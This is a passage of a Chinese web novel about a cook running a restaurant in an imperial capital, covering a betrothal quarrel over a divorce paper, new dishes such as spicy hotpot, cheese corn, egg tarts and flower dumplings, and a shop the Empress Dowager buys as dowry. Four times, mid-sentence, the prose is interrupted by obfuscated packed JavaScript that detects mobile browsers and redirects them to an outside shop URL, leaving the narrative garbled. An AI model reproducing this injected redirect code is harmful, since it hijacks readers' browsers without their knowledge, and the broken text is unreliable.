江弥杉轻笑，坐至木木凳，故意叹口气，显得失落：“我还以为是想见我了。” 李定卓眸光颤了颤，他的确很想见弥杉，以至于一刻都不能多等，即便皇帝留他用膳，他也推辞了。 他迫切想知道，弥杉是否已经知晓休书的事。 李定卓沉默着，不知该如何开口，盛起一勺蟹黄豆腐。 ：“你有话与我说吧？”江弥杉收起玩笑的心。 有的人的欲言又止体现在口，而李定卓更多是体现在眼神，相处已久，江弥杉一眼就能分辨出来。 豆腐将入口，藏着的心思被看透，李定卓抬眼对上两颗洞察秋毫的水眸，一阵沉默后，嗯了一声。 ：“你是否晓得御赐休书的事？”他语气淡淡，听不出喜怒。 这并不是秘密的事，宫里知道，那李定卓必然也会知道，只是这几天一直没碰到面，所以没来得及说。 江弥杉点头，如实道：“我知晓的，是我主动求的。” 李定卓只觉胸口一沉，一个字都说不出。 江弥杉看他脸色顿时晦暗，早已猜到有已状况，不急不慢地解释：“太后娘娘对我十分关心，托宝和长公主问我是否真的愿意嫁于你，我说无论你名声如何，我都愿意，可你大约也晓得，太后放心不下，我求一份休书，也好让她安心不是吗？” ：“至于休书，我但愿永远都用不上。”她诚恳的说完。 李定卓听完，心里依旧沉重，抓出两字，问：“但愿？” 江弥杉垂眸，扣着指甲：“许多夫妇，初时情深，最终形同陌路，水火不容，我很怕。” ：“若有一日，我们也如此了，我不愿受如此先甜后苦的滋味。” 说着，江弥杉抬眸悄悄打量，见李定卓的神色缓和下来，心里才彻底松了口气。 往后听，李定卓收紧左手，他见过不少形同陌路的夫妇，弥杉，定也见过，如此，才对结亲有了抵触。 李定卓呼出沉沉的闷气，心内顿时松快了不少，他能保证，此事绝不发生，那么休书，便不会用的那一天。 ：“再者，你又不会如此待我，我也不会如此待你，何须在意休书。”江弥杉又补上一句。 李定卓微微挑起眉，纠结起来心绪宛若被一丝一丝解开，唇角微微扬起，：“是。”继续将豆腐送入口。 蟹的鲜美醇醇，泄于舌上，寡淡的舌尖顷刻活了过来，如暖手一般，拂去心池里浮着的苦涩。 软嫩的豆腐吸足了鲜汤，又有自身豆香合在其中，软绵绵的化在口中，尝不出一丝涩苦。 只觉胃口都被这一道鲜香击醒，想再来许多口。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14115515|148572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>不快眨眼间的功夫就散尽，江弥杉眉眼也多了笑意，又坐近了些，语带悦色，问：“如何，可合你胃口？” 李定卓又盛一勺，语中那点不满也散了：“好吃，我很喜欢。” 江弥杉很可惜：“你赶上了最后一波以蟹入菜，往后都没这份美味了。” 李定卓：“如此说明我运气的确不错。” 江弥杉：“……” 这么久的事，他竟然还记得！！ ：“那……我去厨间了？” ：“去吧。” 江弥杉正起身，忽想起一件事：“你如何来的江记？” 李定卓一口鲜美滑下，不禁奇怪，但仍答：“骑马。” 江弥杉展颜：“切记吃完休息片刻再回镇抚司，以免腹痛。” ：“我先走了，你慢用。” 李定卓微微一笑，：“知晓了，去忙吧。” 江弥杉推车离开，到门口时，又忍不住回头，人也同样望着她。 江弥杉笑意更深，才走出包房。 午饭的点过了一半，江记依旧热闹，兰香对着结账的指挥使，还是不住心惊胆战，：“大人，姑娘正忙，我为大人结账。” 李定卓没有多说，付了钱拂袖离开。 兰香哎呦感叹一声，捂着胸口深呼几口气。 平日不穿这身衣服尚没有如此怕，只是觉得脸沉的吓人，今日脸已经够吓人了，衣裳又更吓人。 满京城的人，除了姑娘，见到这身衣裳谁能平静，李大人出来时，堂内的交谈声都弱了…… 实在可怕！ 正想着，兰香目光往旁边一扫，就见江弥杉推着车出来。 江弥杉在橱柜前挺了片刻。 ：“他走了？” 兰香点头：“嗯，刚走片刻。” 江弥杉点头，继续推车去送菜。 午间在忙碌中似乎很快就过去，江记打烊休息。 趁众人都在休息，方万宜坐至正喝茶的江弥杉对面，咬唇思索该如何开口。 江弥杉喝了口暖茶，轻声问：“怎么了？” 方万宜很是难为情：“我……我觉着章公子，不太对劲。” 殷勤，实在是过于殷勤，时而非要与她说什么，东一句西一句，也找不到话头。 江弥杉捂着茶杯，认真问：“你觉着他如何？” 方万宜蹙着眉，思索了片刻，似那副模样浮在眼前，随之淡淡一笑，：“意气风发，年少有为，前途无量。” 江弥杉：“那你可反感他？” 方万宜一时间说不上清，：“我说不上来。” 无奈应该不算反感，她更多是感觉无厘头，像是一时兴起，故意逗她。 江弥杉斟酌过后，还是决定瞒下：“那便再感受一段时间，确定是否反感，若是反感，就直言。” 若是不反感，或是心有所动，可一试。 方万宜望着江弥杉，也猜到了后半句，她斟酌着问：“若的确反感，姑娘可会感觉为难？” 江弥杉答的快：“不会，我站在你这边，该为难的是章文安，不是我。” 方安宜点头，那便试试吧。 51. 麻辣烫菜 天晴晒得几种辣椒存放在陶罐中渡过了夏秋。 今日取出，辣椒还十分干脆，散着浓浓辣味。 江弥杉刚把处理干净的大肠放入卤汁，听见姜绮、姚丹三人色笑谈声，转头望去，交代方：“先舂成段，再干炒一道。” 方万宜拌着面前的三盆肉泥，问：“是要做成辣汤吗？” 江弥杉点头：“差不多，只不过用来做烫菜。” 今日准备了诸多肉荤、鱼虾，也是为了配在烫菜里。 方万宜了然：“明白了。” 江弥杉转过头，搅开挤在一起的大肠，接着盖上木盖，随它卤煮。 她要做成肥肠麻辣烫，趁着天气冷，热辣辣的吃下，散去寒气，感受另一种风格的热辣洋溢。 当下京城里的食肆酒楼大多都在推暖锅这类的热气腾腾的菜品。 暖锅很好，但江弥杉还是打算等入冬在推出。 雇了帮工，就需发工钱，让她们也过个好年，今年冬天，打烊的日子得往后挪达到太早。 厨间都在各自忙碌，剥菜、切菜，连灶眼都不得空。 卤着大肠，江弥杉又去看炖煮的牛奶，揭开锅盖，一道浓郁奶香扑鼻而来。 送来的牛乳都很新鲜，除去锅里炖煮的，还有一部分尚还存放桶里，营业时小锅熬成双皮奶，放上些甜豆沙，做成餐后甜品。 小火舌/燎动下，牛奶表面有了热温，江弥杉端起手边的大碗白醋倒入锅里，她拿起勺搅了一会儿，不断就有奶白固物漂浮而上。 江弥杉接着拿过漏勺，盛起奶团，放入提前准备盆中。 断断续续来了几回，盆渐渐放满，锅内只剩淡黄的乳清。 江弥杉洗干净手将奶团分成几批，搓成球，继续放入锅内慢煮，随后挤去多余的乳清，反复折叠，直至奶团光滑。 江弥杉对这套做芝士的流程得心应手，上辈子比赛时也完成的很好，评委都很满意。 芝士玉米、芝士土豆泥、芝士红薯……有关芝士的搭配，能推出的菜品很多。 为了搭配麻辣烫，缓解辣味，江弥杉决定先推出奶甜的芝士玉米。 忙碌至饭点，准备的事宜才大致完成，熬汤的深锅里红汤滚滚，道道刺激鼻息的麻辣香气涌动而出。 要先将辣椒、花椒沫、炼制的几中家畜油块、姜蒜、辣酱、八角、草果、肉蔻等各种香辛料炒出香辣，之后倒入高汤，提鲜增香。 汤底在时间流逝间，味道逐渐浓厚，虑去多余的材料，继续小火熬制。 打烊的牌子一摘，客单络绎不绝地传入厨间，烫菜占了大多数。 方万宜熟练地抓过各种食材，肉一碗，菜一碗，分别放入两锅高汤烫煮。 旁边，江弥杉身边放着几个大小不同的瓷制宽碗，面前摆放着排排装着调味的大碗。 江弥杉一手拿着木盆，一手握着汤勺，逐个从调料碗里舀调味、特制的几种辣椒油放入木盆，最后盛辣汤调融入盆内。 背后，姜绮、姚丹、姚青按着江弥杉所教的操作，烹制着其他菜品。 过了片刻，肉菜烫熟，方万宜接着放入碗碗，江弥杉紧跟着倒入辣汤，码上一勺切段的大肠。 车架上的宽碗片刻后汪起红汤，散开的白芝麻缓缓漂浮。 餐车由兰香和几个服务员送厨，厨间依旧忙碌。 诱人的麻辣香气从风飘至街道，骚起着队的食客蠢蠢欲动的食欲。 玉欣怡排在第一位，闻着辣味就已经暗耐不住，转头望向身后正色的赵穆。 她实在不明白赵穆有什么放心不下的地方，只是来江记吃顿饭而已，有什么好担心的，原本是要去京郊跑马的，听到她要去江记，坚持要跟来。 她来晚了一步，最后一桌正好到她前面的几个人。 玉欣怡不禁遗憾没第一批进去，默默叹气，又商量着赵穆说：“还要等许久呢，你若都是觉得累，就先回吧。” 赵穆唇角无奈地提起，话语未有一丝不满：“我等得了。” 陪欣怡来江记用午饭是一回事，但避免欣怡又与江弥杉提出什么一起去玩乐的事又是另一回事。 前次的沐花街，便是心怡提的，两人一拍即合…… 这样事，还是少些为好。 玉欣怡收回目光，又瞄到赵穆挂在腰间，绣工粗糙的香囊，诧异地抬眼。 在甘州时，闲暇时间，她大多都在武场与林间，很少有人督促她在女红上花心思，回了京城，女工的短缺就很快展现出来，即便教导的嬷嬷反复提点，她也绣不好。 万幸王妃与王爷并不计较，所用绣品交给绣女缝制，赵穆却非得让她做香囊，今日竟还带出来了！ ：“你……你怎么带出来了。”玉欣怡一阵耳热，压低声问。 赵穆垂眸扫过腰间似鸟非鸟的香囊，并不觉的那处不好，：“香囊做出来，自然是要带在身上。” 玉欣怡只觉头疼：“……” ：“莫要说是我做的。” ：“……” 赵穆不禁被逗笑，答好。 玉欣怡转回头，往食肆里探望，便见到食客往锅里挑出一筷肉片，红彤彤的汤汁一滴一滴低入碗内，冒着白烟。 每一个吃的人，都是一副满足模样，仿佛吃到饕餮盛宴。 玉欣怡觉得胃里空荡荡，口舌已经将要尝到那份吊在空中的美味，却又总差一点。 不足！！甚是不足！！！ 又等了一刻钟，总算有几队人从店里走出，玉欣怡顺手拉住赵穆的手腕就往里跑。 二人在第三桌坐下，立刻就有茶水送上，排队等的时间长，但菜送的很快。 大碗红彤彤的辣汤、一盘金黄的奶香玉米，几碟精致的拌小菜，还有豆沙奶糊，要等到用完饭时再上。 ：“哇！”几乎每一桌食客再看到菜品时都会不禁的感叹。 玉欣怡已经迫不及待，对盛饭的赵穆道：“我得吃满满一碗。” 赵穆笑嗯一声，往碗里添满饭，握碗挪至玉欣怡面前。 玉欣怡迫不及待地将筷伸入红汤，再起时，筷尖带起菜肉。 豆芽、堵住、脆菜条、肉片、还有圈圈的肠，都浸染着亮眼的红，热气腾腾，一闪一闪的，格外诱人。 玉欣怡忙端起碟子接下，送至口边吹散热烟，送入口中。 麻辣的味道立刻在口中爆放而开，思绪完全被这一口麻辣的香味吸引，跃起的食欲总算在这一刻将期盼已久的味道携入。 脆甜的菜蔬，厚实的肉片，还有那圈弹软又浓郁的肠。 肠吃不出一丝腥膻味，肠肉的醇厚与麻辣味融合的甚是精彩，因此并不破坏这一口美味。 越是咀嚼，就越香，香得她口中唇齿都痒酥酥的。 口味很重，但一点都不会让她感到不适，相反，在一丝丝酸味的催促下，她欲罢不能。 玉欣怡顾不得不稳重，对赵穆道：“好吃，你也尝尝！！” 赵穆笑着端碗，夹入浮出红汤的几颗丸子，先吃一颗。 弹软的丸子在唇间蹦跳，咬开就泄入一泉辣汤，香软的丸子内也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14137406|148572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被麻辣的辣汤浸透，很是入味。 ：“如何？” 赵穆点头：“的确甚是让人意外。” 王府通常不会做这样重口的菜，但他并不反感，只是觉得舌尖在燃烧。 他吃下一颗丸子，接着拿勺刮一层看着清淡的奶香玉米，然却并不容易，那层金黄随着动作拉出细丝，他用了几分力气才摆脱，接着送入口中解辣。 甜滋滋的牛乳香一下就盖住了在唇齿间燎/烧的火，与清甜的玉米很是相配。 只是说是牛乳，着浓厚的味道却又不像，但的确又有牛乳的风味在。 至少，他从未见过，牛乳可以拉出丝的。 赵穆又接着再去刮一勺，色泽灿黄，牛乳会有如此色泽？ 玉欣怡空口吃了几筷烫菜，这会儿也觉得辣意燎上了舌尖，挑饭缓解。 看着赵穆吃那盘玉米，一时好奇，便问：“可美味？” 赵穆点头：“是牛乳做的，但又好似不是牛乳。” 玉欣怡觉得稀奇，也盛了一勺送入口，细尝。 ：“嗯……我从未吃过如此口味的玉米。” ：“我也是。” ：“啊？” 玉欣怡很是诧异，郡王府的世子都没有吃过的菜，也太出人意料了。 真不愧是江姐姐！ 每回来江记，都能有惊喜！！ 玉欣怡没有多纠结，享受着甜蜜蜜大王奶香化在舌上，香甜可口，目光却又被烫菜吸引。 套餐似乎要比想象中吃得更快，筷子再一次潜入汤底时，已经捞不着原本看着多的菜，奶香的玉米也只剩锅底的残迹，米饭也见底。 按规矩，每餐饭都吃七分饱就止，但麻辣与甜香实在很是搭配，不知不觉间，吃得就越来越多，这些规矩，完全被抛诸脑后了。 这时，游走在堂间的兰香走至桌边，：“玉姑娘，公子，可否上红豆奶糊了？” 玉欣怡这时才想起还有菜没有上，她连点两下头：“上吧，上吧。” 说完，她又问：“怎么不见江姐姐？” 兰香解释：“姑娘在厨间调制辣汤，不得空出来。” 玉欣怡长哦了一声，又弯起笑眼：“请你转告她，这套餐很是美味！” ：“好，玉姑娘放心，我会转告姑娘的。” 说完，兰香便离开，又继续去询问其他桌。 胃腹很是饱足，赵穆倒杯茶，慢饮净口，淡淡问：“你……还想与江姑娘去那些地方？” 他得有心理准备，面对李定卓。 玉欣怡喝着茶，呛了一下，就算有这个心思，她怎么可能说出来！！ ：“哪儿也不去！你放心吧。” 赵穆：“……好。” 又过片刻，红豆奶糊也端上桌，只是一盅，雪白的奶糊上点缀着一圈深红的红豆小粒。 但却并非奶糊，而是很弹软，用勺按压，竟是回弹，像是糕，但没有米粉，内里光滑细腻，很想凝固的膏。 玉欣怡更加好奇，盛起颤巍巍的奶膏送入口，奶香浓郁，微微带着甜，又入口即化。 她望向同样诧异地赵穆，：“你也没尝过？” 赵穆点头承认：“的确没有尝过如此口味的奶糊。” 玉欣怡又盛一勺入口，挑着眉调侃：“那你得感谢我。” 赵穆淡淡一笑，顺着欣怡：“多谢夫人了。” 正吃着，就听旁边一桌，叫住了兰香，：“诶，请姑娘代为转达给江姑娘，今晚我们头会来。” 赵穆：“……” 52. 第 52 章 麻辣烫菜尚在热卖，但食客对芝士的兴趣更加大，同时吸引了一批慕名而来，为了一品各色奶香红薯、奶香土豆泥、奶香山药等奶味菜品的食客。 牛奶价贵，因此京中用牛奶入菜的酒楼、食肆几乎没有，再者制作流程不清楚，即便有心模仿，也做不出。 奶香与辣汤袅袅相协，冬日将近，天气实在冷的几天，江弥杉决定打烊休息，以免员工来回奔波。 午后，江弥杉睡醒一觉，便去厨房准备下午茶。 她先烧热烤炉，又去储物间里取了些鸡蛋、面粉、自制的黄油与晒干的葡萄干。 江弥杉特意留了一桶牛奶带回家，她倒出一大碗，与备齐的蛋、粉摆在一起。 此时，方万宜提着茶壶，走到灶旁，从壶里倒水。 一面倒水，一面瞧系着围裙的江弥杉往木盆里打鸡蛋。 ：“姑娘要做什么？” 这几日，方万宜见过许多从前未见过的菜品，即便如此，对于当下弥杉要做什么，她还是好奇。 江弥杉碰的一声磕开鸡蛋，转头笑回：“蛋挞，一会儿做好了，你们来我屋里，我们一起吃。” 方万宜斟满一壶茶，却没有提走：“我帮姑娘打下手吧。” 江弥杉很喜欢方万宜对烹饪的求知欲，两年的时间，万宜的烹饪技巧都有了很大的进步，这大多源于她对烹调的反思与学习。 如今，方万宜已经能和上辈子餐厅后厨一把手的实力相当。 江弥杉唇角笑意更深，：“你先打把碗里的蛋都打好，我去揉面。” 说着，江弥杉就往旁边挪，她拿过装面粉的木盆，接着打开油纸，露出金黄的黄油。 制作黄油的流程要比蛋糕更复杂与费力，江弥杉分了好长时间，才做得了几包。 但有了牛奶，不做黄油，不免觉得可惜，她也甘愿费这个力气去做奶油、熬煮。 江弥杉切了几块黄油放入面粉，加入盐，随后，她将袖子挽至手肘，专心揉面与黄油揉匀，接着，她倒入水，将面粒揉成团。 面揉成团，江弥杉拿来纱布盖住盆，放到凉水桶里制冷，她倒出牛奶，拿起三根筷子，扶着盆搅打。 方万宜打着鸡蛋，想起昨日打样时，主动到店里交谈的周掌柜，问：“周记墨坊真愿意将铺面转与我们？” 江弥杉：“嗯，说是有了处更好的店铺，因此将墨铺低价转给我们。” 低的有些可疑，甚至比当初盘铺子时还低，细问，周掌柜也不说，一心要将铺子转给她，她暂且还没有给答复，等明天李定卓来，问清楚是否是因为他。 江记的确要扩大，但也不能平白无故占别人便宜。 方万宜：“如此的话，还需再添人。” 周记墨坊是个大两层铺子，还有个院子，也要比食肆之前的院子大很多，她不明白怎会处如此低的价。 江弥杉思索起食肆的将来，如果真收下了铺子，那么最大可能还是先按餐厅的那样，分出专有的甜品、凉菜、茶饮的点餐处，先两个铺子连通，等钱积攒的差不多，就去与商会申请，加盖第三层。 还有员工，尤其是厨师，还需要先雇佣学习······· 事情繁多，得尽快了结，但也得仔细选择，减少被挖墙角的可能。 江弥杉：“嗯，过几日去人市瞧瞧。” 方万宜打完鸡蛋，她继续拿过筷子搅匀，若有所思的目光落在灿灿的蛋液上。 想到近几次其他酒楼的人开高价来雇佣她们的事，她们自然不会接受，但将来若是亦有如此情况，并不能保证，人人都与他们一样，能够坚定地选择留在江记。 这点，弥杉应该不会想不到。 又过一盏茶的功夫，奶油搅打至细腻，江弥杉分成几次舀进蛋液中，方万宜慢慢搅匀。 ：“哎呀，我起晚了！” 兰香小跑进厨房，见江弥杉与方万宜已经在忙碌，连忙走到灶台边，：“还有要做的吗？” 江弥杉：“和万宜换一刻，将鸡蛋和奶油沿一个方向搅拌均匀。” 兰香迫不及待地搓手，方万宜微微笑着，让至旁边看着。 ：“这是要做什么？”兰香问。 这回是方万宜先答：“蛋挞。” 江弥杉接着补充：“便是将鸡蛋与牛乳混合，装进面皮里，放入烤炉中烘烤所得的糕点。” 兰香觉得稀奇，蛋糕、面包她都吃了过，这回的蛋挞却还没有。 蛋挞的面皮又等了些时候才转为微硬，江弥杉握着擀面杖，滚开面团，她接着折叠几回，又分成小团，她拿起一个小碗，将小团放入碗中，沿碗捏平。 兰香与方万宜看了几个，也跟着做，不一会儿，几个碗就被灿黄的面皮覆盖。 ：“然后将蛋奶液倒进碗里。”江弥杉一面说，一面照做。 三人做了十多碗，全放进铁盘，此时烤炉的温度正好适宜，江弥杉端着盘子，轻慢地送入烤炉。 兰香待江弥杉关上炉门，才问：“蛋挞也在食肆卖吗？” 江弥杉果断摇头：“我们自己吃。” 如果在食肆售卖，就太费时、费力了，没有便捷的烤箱、打蛋器，手臂会承受不住。 方万宜松了口气，若是要在食肆售卖，估计会十分忙碌。 几刻钟后，奶香蓬软的蛋挞总算出炉，刚打开炉门，一道浓厚的蛋奶香扑鼻而来。 碗边的面皮被烤的蓬开数层，其中的蛋奶液当下已变得金灿灿，周围点缀着几点焦黄。 江弥杉夹出六个，由于是碗烤制而成，不方便张口咬，又找出三把小勺，连着一起端进屋。 屋内，方万宜提起刚煮好的花茶，倒入三个茶盏，兰香剥了几个坚果，放进小碟里。 三人各自端起一个小碗，拿着勺子轻轻划开，送入口。 烤出的蛋液与蒸出的很类似，很嫩，但多了几分弹软，入口即化，香甜中又有浓郁的蛋奶香。 皮很是酥香，亦是一抿就化，很是美味。 不过一会儿，兰香就将一碗蛋挞吃完，她还觉不够，又在端过一碗。 江弥杉吃着想了许久的蛋挞，又望向万宜与兰香的笑脸，忽觉得劳有所获。 ＊ 翌日午后，李定卓提着礼物到来。 江弥杉领李定卓进屋，桌上已摆着蛋挞和茶饮，这时都散着热气，不知该先闻那一道。 李定卓坐下，垂眸望向面前的金色的小碗，摸不准是什么，又询问着望向喝茶的江弥杉，：“这是？” 江弥杉喝口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14162749|148572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 热茶，笑回：“蛋挞，用鸡蛋与牛乳做的。” 李定卓知晓宝和长公主向江记投了牛乳，猜想应该是弥杉带了些回来。 ：“原来如此。”他端起碗，舀起一勺弹软的蛋。 香甜，弹软又细腻，满口都是那道热烈的蛋奶香，使他莫名感到欣悦。 江弥杉等李定卓吃完一口，才道：“我有个疑问，你必须如实告诉我。” 李定卓先是疑惑地愣了片刻，而后想到宫里近日所为，大致也猜到了。 他微微一笑，：“说罢。” 江弥杉：“你是否让周记墨坊将铺子转让与我？” 李定卓摇头否认：“不是我。” 江弥杉诧异地蹙眉，觉得这件事更加奇怪。 ：“是……太后娘娘在为你筹办嫁妆所购置。” 听李定卓说完，江弥杉先脱口而出：“啊？” 她接着问：“那周记墨坊……” ：“搬到松仁街了，那里有一个更大的铺子。” ：“……” 李定卓又舀一勺：“除了铺子，还有田庄果园，之前林夫人的嫁妆，也包含其中。” ：“皇上转告于我，若是你还有什么缺的，可提出来。” 江弥杉连忙摆手：“没有了，没有了。” 太后的恩情，她受之有愧，又无法还报，心里已经很惭愧，即便真有缺得，她又怎么会心安理得地提出来。 江弥杉轻声道：“请太后娘娘，少破费些。” 李定卓淡淡一笑，：“太后娘娘有心如此，无人能劝。” 江弥杉心里深叹一口气，深感无奈，：“我都不知该如何还报太后娘娘的恩情。” 李定卓沉默片刻，道：“成婚后，若是宫中设宴，你可随我一起去，如此也许能见太后。” 江弥杉一听便来了精神：“真的？” ：“太后能吃到我做的吃食？” 李定卓：“这需与宫内商议，太后必然不会拒绝，因而此事也不难。” 江弥杉似又找到的希望，搬着凳子凑近了些，握住李定卓的手臂，目中诚恳。 ：“请你务必为我跑一趟！” 李定卓点头：“无事，交给我就好。” 嘴上如此说，可他心里却觉得，弥杉如今一反常态，期待起成婚，是为了进宫与太后做吃食。 又吃一口蛋挞，李定卓转头，低声道：“你……因此期待成婚了？” 江弥杉一愣，他怎么把这两件事联系上了！ 知道他在乎答案，江弥杉没有敷衍而过，认真回道：“我受太后娘娘恩情许久，一直无法回报，我很想借此机会，感谢太后娘娘，但，我想嫁与你，想与你成婚，是因为，我喜欢你。” ：“若如你所说，何必再等一年，干脆今年就成婚好了。” 说着，江弥杉不由觉得委屈，压低了声。 李定卓头一回听江弥杉如此说，心中不由生起涟漪，他暗恨一时闷了心，竟问出如此胡话，忙放下碗，转身赔不是。 ：“是我不好，不该如此想，是我的错。” 江弥杉看他道歉，闷闷说道：“明日再原谅你。” ：“今日你是客。” 李定卓：“随江姑娘心意……” 53. 立冬花饺 立冬转眼而至，周记墨坊搬走后，江弥杉请来工匠装修墨坊内部。 工匠不建议打通店铺，合二为一，商讨过后，江弥杉决定将先院子合并，修建统一的厨房，分成面点、凉菜、茶饮三个大处，简称统一的炒菜厨间，方便上菜。 两间铺子依旧独立，只不过将周记墨坊的牌子换成江记食肆。 又新招了四位厨娘与几个学徒，签订了加有保密条纹的契约，还有几个负责大堂的服务人员，由方万宜、姜琦、兰香几人各带两三个人。 立冬这日，时辰尚早，厨间已忙碌忙碌，姜绮带着学徒切菜，姚丹、姚青与各自带的人负责揉面。 江弥杉与方万宜负责调和不同色泽与擀饺皮。 立冬时，京城的习俗是吃饺子，去年江记卖的是普通是蔬菜肉饺，今年人手充足，江弥杉决定参考看过的唐代烧尾宴中的升进二十四气，推出花型的饺子。 肉馅儿用提前储存的几种蔬菜，配上猪肉、海鲜，交替搭配，凑出十种左右馅儿。 基础的工序做完，以基础的甜菜红、胡萝卜黄、紫甘蓝蓝、三色浓淡增减，调配出各种美色。 接着一人各分两种花型，包馅儿捏饺。 江弥杉负责的三种花型，玫瑰、梅花、莲花。 她捧着五角的饺皮，挑了一勺玉米猪肉盛入饺皮，封口处，她精细地分成四角，由四周往中间捏，组成一朵梅花。 轮到玫瑰型的花饺，她将饺皮拼成一排，沿着滚一圈，而后将叠起的饺皮朝外捏平，组成玫瑰花。 最后是莲花型，她先饺皮先切成扇形，而后对半合起，再捏起对边，拼合成的饺皮宛如莲花绽放。 一屉饺子流转个人面前，最终有十二色花饺，兰香端着竹屉放至炉眼上。 饭点，虽是立冬，但今日依旧来了不少食客，堂中也一片热闹。 江弥杉备菜的时候，快速到门口瞄了一眼，看满堂坐满，心里松了一口气，又转身回灶台继续炒菜。 前几天江弥杉就与尝到江记的食客宣传立冬的花饺，扩展客源。 食肆搭建完，人员配备齐全，就能开展外送。 这份客源主要的受众源于常居内宅的女子。 不过一会儿，兰香和几个负责招待客人的服务人员就将订单传到厨间。 学徒跟着取出蒸屉中，装有银耳红枣羹的小汤盅、松仁米糕，按照各桌订单放入推车，交放至门外等待的人。 卢灿宇与秦绍麒今日是与家人一起来的，各分两桌。 卢伯母又特意请了庄夫人与二小姐庄妍月，两家即将皆为亲家，正好是秦绍麒提出的到江记食肆用饭，庄伯母便与庄家送了帖子。 秦绍麒在食肆外看到庄妍月时，诧异地望向含笑的伯母，心中也明白了，这是伯母安排好的事情。 两个虽已定亲，但同坐一屋尚不合规矩，便分坐两桌。 秦绍麒再默默望向对桌的庄妍月，她的兴趣，更多是落在刚上的花饺上。 庄妍月抬眸与家人，笑道：“这饺子做得真精巧。” 说完，她夹起个玫瑰型的饺，往面前的醋碟，轻轻一蘸，拖起小碟接在下，轻咬一口。 面皮口感劲道，不薄不厚，还有隐隐约约的菜蔬清甜，多了醋的衬托，丝丝的酸味似乎钻入舌，带动起食欲。 里面的馅儿是芹菜与猪肉，芹菜清甜，猪肉醇香，连着很是相配，水润润的。 吃下一口，庄妍月才微笑着道：“父亲，母亲，兄长，嫂嫂，这饺子味道不错，你们也快尝尝。” ：“京中食肆、酒楼竟做的这般精致的吃食。” 秦绍麒收回目光，夹起个花饺，蘸醋后，咬下一口，是玉米虾仁。 桌上摆着花饺、蛋黄虾仁、酱油凉鸡、酸菜粉条、炸排骨。 卢灿宇趁爹娘吃得满意，凑至秦绍麒耳边，已两人：“表哥，庄姑娘没过看你。” 秦绍麒：“……” 饭吃到一半，秦绍麒无意抬眼，见到江弥杉从厨间刚走出，正与第一桌的一对老夫妇交谈，他只是释然的一笑，又继续给伯父、伯母夹菜。 第一桌坐着花易仟、文苒与花逸。 花易仟刚吃下三个精致的饺，又与夫人、儿子谈论了饺子的不通话吃法，这会儿见到江弥杉，自然不会放过机会。 ：“江姑娘，这饺子你是如何想到的？我还从未见过呢。” 文苒无奈老夫又烦毛病，摇摇头，望着眼前罕见的花饺。 如此饺子，的确精致，但制作起来，必然十分费心力，因而即便大酒楼、食肆也不会用此耗费经历去做。 江弥杉对花家的这对爱吃的老夫妇很亲切，笑回：“是一次郊游，看见山中百花盛开，便想着面点是否也可以做成花型，正好又将至立冬，便想将花与饺子结合起来。” ：“于是便有了今日的花饺。” 花易仟听完，不由赞叹：“好精彩的想法，江姑娘有心啦。” 又笑两声：“难怪在售卖烫菜时便在宣传着，烫菜还未吃足，这回又有花饺，吃不完呐，吃不完。” 花逸趁机打探：“江姑娘，明日可上奶香菜？” 今天做的饺子很复杂，因此没有时间做芝士，这件更费时的基础食材。 花饺时立冬的特别菜色，明天就可以停售，时间就可以用来做芝士或黄油。 江弥杉点到为止：“明日自然是有的，是新菜。” 花逸：“那太好了！” 文苒笑着摇头：“好了，江姑娘还忙呢。” 花易仟望着江弥杉，心中觉得，往后，江记食肆，必然会在京城扬名。 京中某些规模略大的食肆、酒楼，都未必能有这份名，毕竟剽窃了多少江记的菜都不得知晓。 骗得了一时，骗不了永久，吃过的人自然能对比出孰优孰劣。 花易仟淡淡一笑，：“打扰江姑娘了，姑娘去忙吧。” 江弥杉出来也不是为了其他的，而是为了打探食客对吃食的反馈。 江弥杉笑问：“不忙呢，花伯伯觉得今日的餐食如何？” 花易仟：“不错，与往常无异。” 江弥杉满意地点头，辞过花易仟，又去下一桌。 新招的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14183170|148572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 